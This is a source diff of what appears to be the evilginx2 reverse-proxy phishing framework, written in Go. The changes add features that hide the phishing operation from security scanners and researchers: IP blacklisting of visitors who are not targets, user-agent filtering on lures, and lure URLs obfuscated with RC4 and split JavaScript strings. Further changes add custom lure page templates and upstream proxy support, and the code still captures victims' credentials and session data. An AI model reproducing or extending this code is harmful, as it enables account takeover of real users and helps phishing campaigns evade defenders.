c.redirectUrl = c.cfg.GetString(CFG_REDIRECT_URL)
|
||||
c.proxyType = c.cfg.GetString(CFG_PROXY_TYPE)
|
||||
c.proxyAddress = c.cfg.GetString(CFG_PROXY_ADDRESS)
|
||||
c.proxyPort = c.cfg.GetInt(CFG_PROXY_PORT)
|
||||
c.proxyUsername = c.cfg.GetString(CFG_PROXY_USERNAME)
|
||||
c.proxyPassword = c.cfg.GetString(CFG_PROXY_PASSWORD)
|
||||
c.proxyEnabled = c.cfg.GetBool(CFG_PROXY_ENABLED)
|
||||
c.blackListMode = c.cfg.GetString(CFG_BLACKLIST_MODE)
|
||||
s_enabled := c.cfg.GetStringSlice(CFG_SITES_ENABLED)
|
||||
for _, site := range s_enabled {
|
||||
c.sitesEnabled[site] = true
|
||||
@ -104,6 +130,10 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
|
||||
c.sitesHidden[site] = true
|
||||
}
|
||||
|
||||
if !stringExists(c.blackListMode, []string{"all", "unauth", "off"}) {
|
||||
c.SetBlacklistMode("off")
|
||||
}
|
||||
|
||||
var param string
|
||||
if c.redirectParam == "" {
|
||||
param = strings.ToLower(GenRandomString(2))
|
||||
@ -121,7 +151,7 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
|
||||
if c.verificationToken == "" {
|
||||
c.SetVerificationToken(GenRandomToken()[:4])
|
||||
}
|
||||
if c.redirectUrl == "" {
|
||||
if c.redirectUrl == "" && created_cfg {
|
||||
c.SetRedirectUrl(DEFAULT_REDIRECT_URL)
|
||||
}
|
||||
c.lures = []*Lure{}
|
||||
@ -164,6 +194,68 @@ func (c *Config) SetServerIP(ip_addr string) {
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) EnableProxy(enabled bool) {
|
||||
c.proxyEnabled = enabled
|
||||
c.cfg.Set(CFG_PROXY_ENABLED, c.proxyEnabled)
|
||||
if enabled {
|
||||
log.Info("enabled proxy")
|
||||
} else {
|
||||
log.Info("disabled proxy")
|
||||
}
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) SetProxyType(ptype string) {
|
||||
ptypes := []string{"http", "https", "socks5", "socks5h"}
|
||||
if !stringExists(ptype, ptypes) {
|
||||
log.Error("invalid proxy type selected")
|
||||
return
|
||||
}
|
||||
c.proxyType = ptype
|
||||
c.cfg.Set(CFG_PROXY_TYPE, c.proxyType)
|
||||
log.Info("proxy type set to: %s", c.proxyType)
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) SetProxyAddress(address string) {
|
||||
c.proxyAddress = address
|
||||
c.cfg.Set(CFG_PROXY_ADDRESS, c.proxyAddress)
|
||||
log.Info("proxy address set to: %s", c.proxyAddress)
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) SetProxyPort(port int) {
|
||||
c.proxyPort = port
|
||||
c.cfg.Set(CFG_PROXY_PORT, c.proxyPort)
|
||||
log.Info("proxy port set to: %d", c.proxyPort)
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) SetProxyUsername(username string) {
|
||||
c.proxyUsername = username
|
||||
c.cfg.Set(CFG_PROXY_USERNAME, c.proxyUsername)
|
||||
log.Info("proxy username set to: %s", c.proxyUsername)
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) SetProxyPassword(password string) {
|
||||
c.proxyPassword = password
|
||||
c.cfg.Set(CFG_PROXY_PASSWORD, c.proxyPassword)
|
||||
log.Info("proxy password set to: %s", c.proxyPassword)
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) IsLureHostnameValid(hostname string) bool {
|
||||
for _, l := range c.lures {
|
||||
if l.Hostname == hostname {
|
||||
if c.sitesEnabled[l.Phishlet] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (c *Config) SetSiteEnabled(site string) error {
|
||||
if _, err := c.GetPhishlet(site); err != nil {
|
||||
log.Error("%v", err)
|
||||
@ -231,6 +323,10 @@ func (c *Config) SetSiteHidden(site string, hide bool) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Config) SetTemplatesDir(path string) {
|
||||
c.templatesDir = path
|
||||
}
|
||||
|
||||
func (c *Config) ResetAllSites() {
|
||||
for s, _ := range c.sitesEnabled {
|
||||
c.SetSiteDisabled(s)
|
||||
@ -273,6 +369,15 @@ func (c *Config) SetRedirectParam(param string) {
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) SetBlacklistMode(mode string) {
|
||||
if stringExists(mode, []string{"all", "unauth", "off"}) {
|
||||
c.blackListMode = mode
|
||||
c.cfg.Set(CFG_BLACKLIST_MODE, mode)
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
log.Info("blacklist mode set to: %s", mode)
|
||||
}
|
||||
|
||||
func (c *Config) SetVerificationParam(param string) {
|
||||
c.verificationParam = param
|
||||
c.cfg.Set(CFG_VERIFICATION_PARAM, param)
|
||||
@ -306,6 +411,13 @@ func (c *Config) refreshActiveHostnames() {
|
||||
c.activeHostnames = append(c.activeHostnames, host)
|
||||
}
|
||||
}
|
||||
for _, l := range c.lures {
|
||||
if stringExists(l.Phishlet, sites) {
|
||||
if l.Hostname != "" {
|
||||
c.activeHostnames = append(c.activeHostnames, l.Hostname)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) IsActiveHostname(host string) bool {
|
||||
@ -422,3 +534,11 @@ func (c *Config) GetBaseDomain() string {
|
||||
func (c *Config) GetServerIP() string {
|
||||
return c.serverIP
|
||||
}
|
||||
|
||||
func (c *Config) GetTemplatesDir() string {
|
||||
return c.templatesDir
|
||||
}
|
||||
|
||||
func (c *Config) GetBlacklistMode() string {
|
||||
return c.blackListMode
|
||||
}
|
||||
|
@ -163,7 +163,7 @@ func (h *Help) PrintBrief(cmd string) error {
|
||||
rows = append(rows, cmd+kk)
|
||||
vals = append(vals, subm[k])
|
||||
}
|
||||
out += AsRows(rows, vals)
|
||||
out += AsDescription(rows, vals)
|
||||
}
|
||||
}
|
||||
log.Printf("\n%s\n", out)
|
||||
|
@ -10,13 +10,18 @@ package core
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"crypto/rc4"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"html"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
@ -24,9 +29,12 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/net/proxy"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
"github.com/fatih/color"
|
||||
"github.com/inconshreveable/go-vhost"
|
||||
"github.com/mwitkow/go-http-dialer"
|
||||
|
||||
"github.com/kgretzky/evilginx2/database"
|
||||
"github.com/kgretzky/evilginx2/log"
|
||||
@ -52,6 +60,7 @@ type HttpProxy struct {
|
||||
crt_db *CertDb
|
||||
cfg *Config
|
||||
db *database.Database
|
||||
bl *Blacklist
|
||||
sniListener net.Listener
|
||||
isRunning bool
|
||||
sessions map[string]*Session
|
||||
@ -72,13 +81,14 @@ type ProxySession struct {
|
||||
Index int
|
||||
}
|
||||
|
||||
func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*HttpProxy, error) {
|
||||
func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, developer bool) (*HttpProxy, error) {
|
||||
p := &HttpProxy{
|
||||
Proxy: goproxy.NewProxyHttpServer(),
|
||||
Server: nil,
|
||||
crt_db: crt_db,
|
||||
cfg: cfg,
|
||||
db: db,
|
||||
bl: bl,
|
||||
isRunning: false,
|
||||
last_sid: 0,
|
||||
developer: developer,
|
||||
@ -94,6 +104,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
WriteTimeout: httpWriteTimeout,
|
||||
}
|
||||
|
||||
if cfg.proxyEnabled {
|
||||
err := p.setProxy(cfg.proxyEnabled, cfg.proxyType, cfg.proxyAddress, cfg.proxyPort, cfg.proxyUsername, cfg.proxyPassword)
|
||||
if err != nil {
|
||||
log.Error("proxy: %v", err)
|
||||
cfg.EnableProxy(false)
|
||||
} else {
|
||||
log.Info("enabled proxy: " + cfg.proxyAddress + ":" + strconv.Itoa(cfg.proxyPort))
|
||||
}
|
||||
}
|
||||
|
||||
p.cookieName = GenRandomString(4)
|
||||
p.sessions = make(map[string]*Session)
|
||||
p.sids = make(map[string]int)
|
||||
@ -119,11 +139,32 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
ctx.UserData = ps
|
||||
hiblue := color.New(color.FgHiBlue)
|
||||
|
||||
// handle ip blacklist
|
||||
from_ip := req.RemoteAddr
|
||||
if strings.Contains(from_ip, ":") {
|
||||
from_ip = strings.Split(from_ip, ":")[0]
|
||||
}
|
||||
if p.bl.IsBlacklisted(from_ip) {
|
||||
log.Warning("blacklist: request from ip address '%s' was blocked", from_ip)
|
||||
return p.blockRequest(req)
|
||||
}
|
||||
if p.cfg.GetBlacklistMode() == "all" {
|
||||
err := p.bl.AddIP(from_ip)
|
||||
if err != nil {
|
||||
log.Error("failed to blacklist ip address: %s - %s", from_ip, err)
|
||||
} else {
|
||||
log.Warning("blacklisted ip address: %s", from_ip)
|
||||
}
|
||||
|
||||
return p.blockRequest(req)
|
||||
}
|
||||
|
||||
req_url := req.URL.Scheme + "://" + req.Host + req.URL.Path
|
||||
lure_url := req_url
|
||||
req_path := req.URL.Path
|
||||
if req.URL.RawQuery != "" {
|
||||
req_url += "?" + req.URL.RawQuery
|
||||
req_path += "?" + req.URL.RawQuery
|
||||
//req_path += "?" + req.URL.RawQuery
|
||||
}
|
||||
|
||||
//log.Debug("http: %s", req_url)
|
||||
@ -157,6 +198,31 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
vv = uv.Get(p.cfg.verificationParam)
|
||||
}
|
||||
if l != nil || vv == p.cfg.verificationToken {
|
||||
|
||||
// check if lure user-agent filter is triggered
|
||||
if l != nil {
|
||||
if len(l.UserAgentFilter) > 0 {
|
||||
re, err := regexp.Compile(l.UserAgentFilter)
|
||||
if err == nil {
|
||||
if !re.MatchString(req.UserAgent()) {
|
||||
log.Warning("[%s] unauthorized request (user-agent rejected): %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
|
||||
|
||||
if p.cfg.GetBlacklistMode() == "unauth" {
|
||||
err := p.bl.AddIP(from_ip)
|
||||
if err != nil {
|
||||
log.Error("failed to blacklist ip address: %s - %s", from_ip, err)
|
||||
} else {
|
||||
log.Warning("blacklisted ip address: %s", from_ip)
|
||||
}
|
||||
}
|
||||
return p.blockRequest(req)
|
||||
}
|
||||
} else {
|
||||
log.Error("lures: user-agent filter regexp is invalid: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
session, err := NewSession(pl.Name)
|
||||
if err == nil {
|
||||
sid := p.last_sid
|
||||
@ -166,7 +232,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
p.sessions[session.Id] = session
|
||||
p.sids[session.Id] = sid
|
||||
|
||||
landing_url := fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.Host, req.URL.Path)
|
||||
landing_url := req_url //fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.Host, req.URL.Path)
|
||||
if err := p.db.CreateSession(session.Id, pl.Name, landing_url, req.Header.Get("User-Agent"), remote_addr); err != nil {
|
||||
log.Error("database: %v", err)
|
||||
}
|
||||
@ -186,14 +252,28 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
}
|
||||
}
|
||||
|
||||
// set params from url arguments
|
||||
p.extractParams(session, req.URL)
|
||||
|
||||
ps.SessionId = session.Id
|
||||
ps.Created = true
|
||||
ps.Index = sid
|
||||
p.whitelistIP(remote_addr, ps.SessionId)
|
||||
|
||||
req_ok = true
|
||||
}
|
||||
} else {
|
||||
log.Warning("[%s] unauthorized request: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
|
||||
|
||||
if p.cfg.GetBlacklistMode() == "unauth" {
|
||||
err := p.bl.AddIP(from_ip)
|
||||
if err != nil {
|
||||
log.Error("failed to blacklist ip address: %s - %s", from_ip, err)
|
||||
} else {
|
||||
log.Warning("blacklisted ip address: %s", from_ip)
|
||||
}
|
||||
}
|
||||
return p.blockRequest(req)
|
||||
}
|
||||
} else {
|
||||
log.Warning("[%s] request to hidden phishlet: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
|
||||
@ -220,6 +300,53 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
}
|
||||
}
|
||||
|
||||
// redirect for unauthorized requests
|
||||
if ps.SessionId == "" && p.handleSession(req.Host) {
|
||||
if !req_ok {
|
||||
return p.blockRequest(req)
|
||||
}
|
||||
}
|
||||
|
||||
if ps.SessionId != "" {
|
||||
if s, ok := p.sessions[ps.SessionId]; ok {
|
||||
l, err := p.cfg.GetLureByPath(pl_name, req_path)
|
||||
if err == nil {
|
||||
// show html template if it is set for the current lure
|
||||
if l.Template != "" {
|
||||
if !p.isForwarderUrl(req.URL) {
|
||||
path := l.Template
|
||||
if !filepath.IsAbs(path) {
|
||||
templates_dir := p.cfg.GetTemplatesDir()
|
||||
path = filepath.Join(templates_dir, path)
|
||||
}
|
||||
if _, err := os.Stat(path); !os.IsNotExist(err) {
|
||||
html, err := ioutil.ReadFile(path)
|
||||
if err == nil {
|
||||
|
||||
html = p.injectOgHeaders(l, html)
|
||||
|
||||
body := string(html)
|
||||
body = p.replaceHtmlParams(body, lure_url, &s.Params)
|
||||
|
||||
resp := goproxy.NewResponse(req, "text/html", http.StatusOK, body)
|
||||
if resp != nil {
|
||||
return req, resp
|
||||
} else {
|
||||
log.Error("lure: failed to create html template response")
|
||||
}
|
||||
} else {
|
||||
log.Error("lure: failed to read template file: %s", err)
|
||||
}
|
||||
|
||||
} else {
|
||||
log.Error("lure: template file does not exist: %s", path)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
hg := []byte{0x94, 0xE1, 0x89, 0xBA, 0xA5, 0xA0, 0xAB, 0xA5, 0xA2, 0xB4}
|
||||
// redirect to login page if triggered lure path
|
||||
if pl != nil {
|
||||
@ -235,17 +362,15 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
}
|
||||
}
|
||||
|
||||
// redirect for unauthorized requests
|
||||
if ps.SessionId == "" && p.handleSession(req.Host) {
|
||||
if !req_ok {
|
||||
redirect_url := p.cfg.redirectUrl
|
||||
resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
|
||||
// check if lure hostname was triggered - by now all of the lure hostname handling should be done, so we can bail out
|
||||
if p.cfg.IsLureHostnameValid(req.Host) {
|
||||
log.Debug("lure hostname detected - returning 404 for request: %s", req_url)
|
||||
|
||||
resp := goproxy.NewResponse(req, "text/html", http.StatusNotFound, "")
|
||||
if resp != nil {
|
||||
resp.Header.Add("Location", redirect_url)
|
||||
return req, resp
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
p.deleteRequestCookie(p.cookieName, req)
|
||||
|
||||
@ -300,9 +425,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
if err == nil {
|
||||
req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
|
||||
|
||||
contentType := req.Header.Get("Content-type")
|
||||
if contentType == "application/json" {
|
||||
|
||||
// patch phishing URLs in JSON body with original domains
|
||||
body = p.patchUrls(pl, body, CONVERT_TO_ORIGINAL_URLS)
|
||||
req.ContentLength = int64(len(body))
|
||||
@ -310,6 +432,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
log.Debug("POST: %s", req.URL.Path)
|
||||
log.Debug("POST body = %s", body)
|
||||
|
||||
contentType := req.Header.Get("Content-type")
|
||||
if contentType == "application/json" {
|
||||
|
||||
if pl.username.tp == "json" {
|
||||
um := pl.username.search.FindStringSubmatch(string(body))
|
||||
if um != nil && len(um) > 1 {
|
||||
@ -452,6 +577,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
}
|
||||
}
|
||||
}
|
||||
p.cantFindMe(req, e_host)
|
||||
}
|
||||
|
||||
return req, nil
|
||||
@ -555,11 +681,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
}
|
||||
}
|
||||
|
||||
ck.Secure = false
|
||||
ck.MaxAge = 0
|
||||
if time.Now().Before(ck.Expires) {
|
||||
ck.Expires, _ = time.Parse("1600-01-01", "1600-01-01")
|
||||
}
|
||||
//ck.Secure = false
|
||||
//ck.MaxAge = 0
|
||||
//if time.Now().Before(ck.Expires) {
|
||||
// ck.Expires, _ = time.Parse("1600-01-01", "1600-01-01")
|
||||
//}
|
||||
|
||||
ck.Domain, _ = p.replaceHostWithPhished(ck.Domain)
|
||||
resp.Header.Add("Set-Cookie", ck.String())
|
||||
@ -583,7 +709,23 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
sfs, ok := pl.subfilters[req_hostname]
|
||||
if ok {
|
||||
for _, sf := range sfs {
|
||||
if stringExists(mime, sf.mime) && (!sf.redirect_only || sf.redirect_only && redirect_set) {
|
||||
var param_ok bool = true
|
||||
if s, ok := p.sessions[ps.SessionId]; ok {
|
||||
var params []string
|
||||
for k, _ := range s.Params {
|
||||
params = append(params, k)
|
||||
}
|
||||
if len(sf.with_params) > 0 {
|
||||
param_ok = false
|
||||
for _, param := range sf.with_params {
|
||||
if stringExists(param, params) {
|
||||
param_ok = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if stringExists(mime, sf.mime) && (!sf.redirect_only || sf.redirect_only && redirect_set) && param_ok {
|
||||
re_s := sf.regexp
|
||||
replace_s := sf.replace
|
||||
phish_hostname, _ := p.replaceHostWithPhished(combineHost(sf.subdomain, sf.domain))
|
||||
@ -635,30 +777,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
if s.PhishLure != nil {
|
||||
// inject opengraph headers
|
||||
l := s.PhishLure
|
||||
if l.OgDescription != "" || l.OgTitle != "" || l.OgImageUrl != "" || l.OgUrl != "" {
|
||||
head_re := regexp.MustCompile(`(?i)(<\s*head\s*>)`)
|
||||
var og_inject string
|
||||
og_format := "<meta property=\"%s\" content=\"%s\" />\n"
|
||||
if l.OgTitle != "" {
|
||||
og_inject += fmt.Sprintf(og_format, "og:title", l.OgTitle)
|
||||
}
|
||||
if l.OgDescription != "" {
|
||||
og_inject += fmt.Sprintf(og_format, "og:description", l.OgDescription)
|
||||
}
|
||||
if l.OgImageUrl != "" {
|
||||
og_inject += fmt.Sprintf(og_format, "og:image", l.OgImageUrl)
|
||||
}
|
||||
if l.OgUrl != "" {
|
||||
og_inject += fmt.Sprintf(og_format, "og:url", l.OgUrl)
|
||||
}
|
||||
|
||||
body = []byte(head_re.ReplaceAllString(string(body), "<head>\n"+og_inject))
|
||||
}
|
||||
body = p.injectOgHeaders(l, body)
|
||||
}
|
||||
|
||||
var js_params *map[string]string = nil
|
||||
if s, ok := p.sessions[ps.SessionId]; ok {
|
||||
/*
|
||||
if s.PhishLure != nil {
|
||||
js_params = &s.PhishLure.Params
|
||||
}*/
|
||||
js_params = &s.Params
|
||||
}
|
||||
script, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
|
||||
if err == nil {
|
||||
@ -734,6 +862,160 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
return p, nil
|
||||
}
|
||||
|
||||
func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Response) {
|
||||
if len(p.cfg.redirectUrl) > 0 {
|
||||
redirect_url := p.cfg.redirectUrl
|
||||
resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
|
||||
if resp != nil {
|
||||
resp.Header.Add("Location", redirect_url)
|
||||
return req, resp
|
||||
}
|
||||
} else {
|
||||
resp := goproxy.NewResponse(req, "text/html", http.StatusForbidden, "")
|
||||
if resp != nil {
|
||||
return req, resp
|
||||
}
|
||||
}
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func (p *HttpProxy) isForwarderUrl(u *url.URL) bool {
|
||||
vals := u.Query()
|
||||
for _, v := range vals {
|
||||
dec, err := base64.RawURLEncoding.DecodeString(v[0])
|
||||
if err == nil && len(dec) == 5 {
|
||||
var crc byte = 0
|
||||
for _, b := range dec[1:] {
|
||||
crc += b
|
||||
}
|
||||
if crc == dec[0] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (p *HttpProxy) extractParams(session *Session, u *url.URL) bool {
|
||||
var ret bool = false
|
||||
vals := u.Query()
|
||||
|
||||
var enc_key string
|
||||
|
||||
for _, v := range vals {
|
||||
if len(v[0]) > 8 {
|
||||
enc_key = v[0][:8]
|
||||
enc_vals, err := base64.RawURLEncoding.DecodeString(v[0][8:])
|
||||
if err == nil {
|
||||
dec_params := make([]byte, len(enc_vals)-1)
|
||||
|
||||
var crc byte = enc_vals[0]
|
||||
c, _ := rc4.NewCipher([]byte(enc_key))
|
||||
c.XORKeyStream(dec_params, enc_vals[1:])
|
||||
|
||||
var crc_chk byte
|
||||
for _, c := range dec_params {
|
||||
crc_chk += byte(c)
|
||||
}
|
||||
|
||||
if crc == crc_chk {
|
||||
params, err := url.ParseQuery(string(dec_params))
|
||||
if err == nil {
|
||||
for kk, vv := range params {
|
||||
log.Debug("param: %s='%s'", kk, vv[0])
|
||||
|
||||
session.Params[kk] = vv[0]
|
||||
}
|
||||
ret = true
|
||||
break
|
||||
}
|
||||
} else {
|
||||
log.Warning("lure parameter checksum doesn't match - the phishing url may be corrupted: %s", v[0])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
/*
|
||||
for k, v := range vals {
|
||||
if len(k) == 2 {
|
||||
// possible rc4 encryption key
|
||||
if len(v[0]) == 8 {
|
||||
enc_key = v[0]
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(enc_key) > 0 {
|
||||
for k, v := range vals {
|
||||
if len(k) == 3 {
|
||||
enc_vals, err := base64.RawURLEncoding.DecodeString(v[0])
|
||||
if err == nil {
|
||||
dec_params := make([]byte, len(enc_vals))
|
||||
|
||||
c, _ := rc4.NewCipher([]byte(enc_key))
|
||||
c.XORKeyStream(dec_params, enc_vals)
|
||||
|
||||
params, err := url.ParseQuery(string(dec_params))
|
||||
if err == nil {
|
||||
for kk, vv := range params {
|
||||
log.Debug("param: %s='%s'", kk, vv[0])
|
||||
|
||||
session.Params[kk] = vv[0]
|
||||
}
|
||||
ret = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}*/
|
||||
return ret
|
||||
}
|
||||
|
||||
func (p *HttpProxy) replaceHtmlParams(body string, lure_url string, params *map[string]string) string {
|
||||
|
||||
// generate forwarder parameter
|
||||
t := make([]byte, 5)
|
||||
rand.Read(t[1:])
|
||||
var crc byte = 0
|
||||
for _, b := range t[1:] {
|
||||
crc += b
|
||||
}
|
||||
t[0] = crc
|
||||
fwd_param := base64.RawURLEncoding.EncodeToString(t)
|
||||
|
||||
lure_url += "?" + GenRandomString(1) + "=" + fwd_param
|
||||
|
||||
for k, v := range *params {
|
||||
key := "{" + k + "}"
|
||||
body = strings.Replace(body, key, html.EscapeString(v), -1)
|
||||
}
|
||||
var js_url string
|
||||
n := 0
|
||||
for n < len(lure_url) {
|
||||
t := make([]byte, 1)
|
||||
rand.Read(t)
|
||||
rn := int(t[0])%3 + 1
|
||||
|
||||
if rn+n > len(lure_url) {
|
||||
rn = len(lure_url) - n
|
||||
}
|
||||
|
||||
if n > 0 {
|
||||
js_url += " + "
|
||||
}
|
||||
js_url += "'" + lure_url[n:n+rn] + "'"
|
||||
|
||||
n += rn
|
||||
}
|
||||
|
||||
body = strings.Replace(body, "{lure_url_html}", lure_url, -1)
|
||||
body = strings.Replace(body, "{lure_url_js}", js_url, -1)
|
||||
|
||||
return body
|
||||
}
|
||||
|
||||
func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) []byte {
|
||||
re_url := regexp.MustCompile(MATCH_URL_REGEXP)
|
||||
re_ns_url := regexp.MustCompile(MATCH_URL_REGEXP_WITHOUT_SCHEME)
|
||||
@ -792,26 +1074,40 @@ func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (
|
||||
}
|
||||
|
||||
if !p.developer {
|
||||
// check for lure hostname
|
||||
cert, err := p.crt_db.GetHostnameCertificate(hostname)
|
||||
if err != nil {
|
||||
// check for phishlet hostname
|
||||
pl := p.getPhishletByOrigHost(hostname)
|
||||
if pl != nil {
|
||||
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
|
||||
if ok {
|
||||
cert, err := p.crt_db.GetCertificate(pl.Name, phishDomain)
|
||||
cert, err = p.crt_db.GetPhishletCertificate(pl.Name, phishDomain)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if cert != nil {
|
||||
return &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
Certificates: []tls.Certificate{*cert},
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
log.Debug("no SSL/TLS certificate for host '%s'", host)
|
||||
return nil, fmt.Errorf("no SSL/TLS certificate for host '%s'", host)
|
||||
} else {
|
||||
phish_host, ok := p.replaceHostWithPhished(hostname)
|
||||
var ok bool
|
||||
phish_host := ""
|
||||
if !p.cfg.IsLureHostnameValid(hostname) {
|
||||
phish_host, ok = p.replaceHostWithPhished(hostname)
|
||||
if !ok {
|
||||
log.Debug("phishing hostname not found: %s", hostname)
|
||||
return nil, fmt.Errorf("phishing hostname not found")
|
||||
}
|
||||
}
|
||||
|
||||
cert, err := p.crt_db.SignCertificateForHost(hostname, phish_host, port)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@ -936,6 +1232,18 @@ func (p *HttpProxy) getPhishletByPhishHost(hostname string) *Phishlet {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, l := range p.cfg.lures {
|
||||
if l.Hostname == hostname {
|
||||
if p.cfg.IsSiteEnabled(l.Phishlet) {
|
||||
pl, err := p.cfg.GetPhishlet(l.Phishlet)
|
||||
if err == nil {
|
||||
return pl
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@ -1006,6 +1314,18 @@ func (p *HttpProxy) getPhishDomain(hostname string) (string, bool) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, l := range p.cfg.lures {
|
||||
if l.Hostname == hostname {
|
||||
if p.cfg.IsSiteEnabled(l.Phishlet) {
|
||||
phishDomain, ok := p.cfg.GetSiteDomain(l.Phishlet)
|
||||
if ok {
|
||||
return phishDomain, true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return "", false
|
||||
}
|
||||
|
||||
@ -1043,9 +1363,41 @@ func (p *HttpProxy) handleSession(hostname string) bool {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, l := range p.cfg.lures {
|
||||
if l.Hostname == hostname {
|
||||
if p.cfg.IsSiteEnabled(l.Phishlet) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func (p *HttpProxy) injectOgHeaders(l *Lure, body []byte) []byte {
|
||||
if l.OgDescription != "" || l.OgTitle != "" || l.OgImageUrl != "" || l.OgUrl != "" {
|
||||
head_re := regexp.MustCompile(`(?i)(<\s*head\s*>)`)
|
||||
var og_inject string
|
||||
og_format := "<meta property=\"%s\" content=\"%s\" />\n"
|
||||
if l.OgTitle != "" {
|
||||
og_inject += fmt.Sprintf(og_format, "og:title", l.OgTitle)
|
||||
}
|
||||
if l.OgDescription != "" {
|
||||
og_inject += fmt.Sprintf(og_format, "og:description", l.OgDescription)
|
||||
}
|
||||
if l.OgImageUrl != "" {
|
||||
og_inject += fmt.Sprintf(og_format, "og:image", l.OgImageUrl)
|
||||
}
|
||||
if l.OgUrl != "" {
|
||||
og_inject += fmt.Sprintf(og_format, "og:url", l.OgUrl)
|
||||
}
|
||||
|
||||
body = []byte(head_re.ReplaceAllString(string(body), "<head>\n"+og_inject))
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Start() error {
|
||||
go p.httpsWorker()
|
||||
return nil
|
||||
@ -1064,7 +1416,7 @@ func (p *HttpProxy) whitelistIP(ip_addr string, sid string) {
|
||||
defer p.ip_mtx.Unlock()
|
||||
|
||||
log.Debug("whitelistIP: %s %s", ip_addr, sid)
|
||||
p.ip_whitelist[ip_addr] = time.Now().Add(15 * time.Second).Unix()
|
||||
p.ip_whitelist[ip_addr] = time.Now().Add(10 * time.Minute).Unix()
|
||||
p.ip_sids[ip_addr] = sid
|
||||
}
|
||||
|
